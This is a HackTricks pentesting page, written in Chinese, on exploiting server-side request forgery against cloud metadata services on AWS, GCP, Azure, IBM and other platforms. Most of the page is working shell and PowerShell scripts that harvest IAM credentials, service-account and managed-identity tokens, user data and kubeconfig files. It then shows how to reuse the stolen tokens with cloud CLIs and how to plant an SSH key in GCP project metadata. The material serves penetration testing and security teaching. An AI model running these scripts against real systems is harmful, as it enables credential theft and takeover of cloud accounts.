hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

Cloud SSRF

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{% endhint %}

AWS

在 AWS EC2 环境中滥用 SSRF

元数据 端点可以从任何 EC2 机器内部访问，并提供有关它的有趣信息。它可以通过以下 URL 访问：http://169.254.169.254 (有关元数据的信息在这里)。

元数据端点有 2 个版本。第一个 版本允许通过 GET 请求 访问 该端点（因此任何 SSRF 都可以利用它）。对于 版本 2，IMDSv2，您需要通过发送带有 HTTP 头 的 PUT 请求来请求 令牌，然后使用该令牌通过另一个 HTTP 头访问元数据（因此用 SSRF 滥用它 更复杂）。

{% hint style="danger" %} 请注意，如果 EC2 实例强制执行 IMDSv2，根据文档，PUT 请求的响应 将具有 跳数限制为 1，使得无法从 EC2 实例内部的容器访问 EC2 元数据。

此外，IMDSv2 还将 阻止包含 X-Forwarded-For 头的请求以获取令牌。这是为了防止配置错误的反向代理能够访问它。 {% endhint %}

您可以在文档中找到有关 元数据端点的信息。在以下脚本中，从中获取了一些有趣的信息：

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

作为一个公开可用的IAM凭证暴露示例，您可以访问：http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

您还可以在以下地址检查公共EC2安全凭证：http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

然后，您可以使用这些凭证与AWS CLI。这将允许您执行该角色有权限执行的任何操作。

要利用新凭证，您需要创建一个新的AWS配置文件，如下所示：

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

注意 aws_session_token，这是使配置文件正常工作的必要条件。

PACU 可以与发现的凭据一起使用，以找出您的权限并尝试提升权限。

AWS ECS（容器服务）凭据中的 SSRF

ECS 是一组逻辑上的 EC2 实例，您可以在其上运行应用程序，而无需扩展自己的集群管理基础设施，因为 ECS 为您管理这一切。如果您成功地攻陷在 ECS 中运行的服务，元数据端点会发生变化。

如果您访问 http://169.254.170.2/v2/credentials/<GUID>，您将找到 ECS 机器的凭据。但首先，您需要 找到 <GUID>。要找到 <GUID>，您需要读取机器内部的 environ 变量 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI。
您可以通过利用 路径遍历 来读取它，路径为 file:///proc/self/environ。
提到的 http 地址应该会给您 AccessKey、SecretKey 和 token。

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

{% hint style="info" %} 注意，在某些情况下，您将能够从容器访问EC2元数据实例（请检查之前提到的IMDSv2 TTL限制）。在这些场景中，您可以从容器访问容器IAM角色和EC2 IAM角色。 {% endhint %}

AWS Lambda的SSRF

在这种情况下，凭据存储在环境变量中。因此，要访问它们，您需要访问类似**file:///proc/self/environ**的内容。

有趣的环境变量的名称是：

• AWS_SESSION_TOKEN
• AWS_SECRET_ACCESS_KEY
• AWS_ACCES_KEY_ID

此外，除了IAM凭据，Lambda函数在启动时还会有传递给函数的事件数据。这些数据通过运行时接口提供给函数，并可能包含敏感的信息（例如在stageVariables中）。与IAM凭据不同，这些数据可以通过标准SSRF在**http://localhost:9001/2018-06-01/runtime/invocation/next**访问。

{% hint style="warning" %} 注意，lambda凭据在环境变量中。因此，如果lambda代码的堆栈跟踪打印环境变量，则可能通过在应用中引发错误来外泄它们。 {% endhint %}

AWS Elastic Beanstalk的SSRF URL

我们从API中检索accountId和region。

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

我们然后从 API 中检索 AccessKeyId、SecretAccessKey 和 Token。

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

然后我们使用凭据执行 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/。

GCP

您可以在这里找到有关元数据端点的文档。

Google Cloud 的 SSRF URL

需要 HTTP 头 Metadata-Flavor: Google，您可以通过以下 URL 访问元数据端点：

• http://169.254.169.254
• http://metadata.google.internal
• http://metadata

提取信息的有趣端点：

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta 目前不需要头部（感谢 Mathias Karlsson @avlidienbrunn）

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

{% hint style="danger" %} 为了使用被外泄的服务账户令牌，你可以直接执行：

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

{% endhint %}

添加 SSH 密钥

提取令牌

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

检查令牌的范围（使用之前的输出或运行以下命令）

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

现在推送 SSH 密钥。

{% code overflow="wrap" %}

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

{% endcode %}

Cloud Functions

元数据端点的工作方式与虚拟机相同，但没有某些端点：

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

{% hint style="warning" %} 没有像 AWS 角色或 GCP 服务账户这样的东西，所以不要指望找到元数据机器人凭据 {% endhint %}

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

文档 在这里。

• 必须包含头部 Metadata: true
• 必须 不包含 X-Forwarded-For 头部

{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{% endcode %} {% endtab %}

{% tab title="PS" %}

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

{% endtab %} {% endtabs %}

Azure App Service

从 env 中，您可以获取 IDENTITY_HEADER 和 IDENTITY_ENDPOINT 的值。您可以使用这些值来获取与元数据服务器通信的令牌。

大多数情况下，您需要为以下资源之一获取令牌：

• https://storage.azure.com
• https://vault.azure.net
• https://graph.microsoft.com
• https://management.azure.com

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"

# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

{% hint style="warning" %} 请注意，在IBM中，默认情况下元数据未启用，因此即使您在IBM云虚拟机内，也可能无法访问它 {% endhint %}

{% code overflow="wrap" %}

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

{% endcode %}

以下是各种平台元数据服务的文档，突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点来访问其元数据服务。

Packetcloud

要访问Packetcloud的元数据，可以在以下位置找到文档：https://metadata.packet.net/userdata

OpenStack/RackSpace

这里没有提到需要头部。可以通过以下方式访问元数据：

• http://169.254.169.254/openstack

HP Helion

这里也没有提到需要头部。元数据可以在以下位置访问：

• http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud提供了一系列端点以访问各种元数据方面：

• http://192.0.0.192/latest/
• http://192.0.0.192/latest/user-data/
• http://192.0.0.192/latest/meta-data/
• http://192.0.0.192/latest/attributes/

Alibaba

Alibaba提供了访问元数据的端点，包括实例和镜像ID：

• http://100.100.100.200/latest/meta-data/
• http://100.100.100.200/latest/meta-data/instance-id
• http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问示例如下：

• curl -L http://127.0.0.1:2379/version
• curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker元数据可以在本地访问，以下是获取容器和镜像信息的示例：

• 通过Docker套接字访问容器和镜像元数据的简单示例：
• docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
• 在容器内，使用curl和Docker套接字：
• curl --unix-socket /var/run/docker.sock http://foo/containers/json
• curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

可以使用以下方式访问Rancher的元数据：

• curl http://rancher-metadata/<version>/<path>

{% hint style="success" %} 学习和实践AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
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支持HackTricks

• 查看订阅计划!
• 加入 💬 Discord群组或telegram群组或在 Twitter 🐦 @hacktricks_live上关注我们。
• 通过向 HackTricks和HackTricks Cloud github库提交PR分享黑客技巧。

{% endhint %}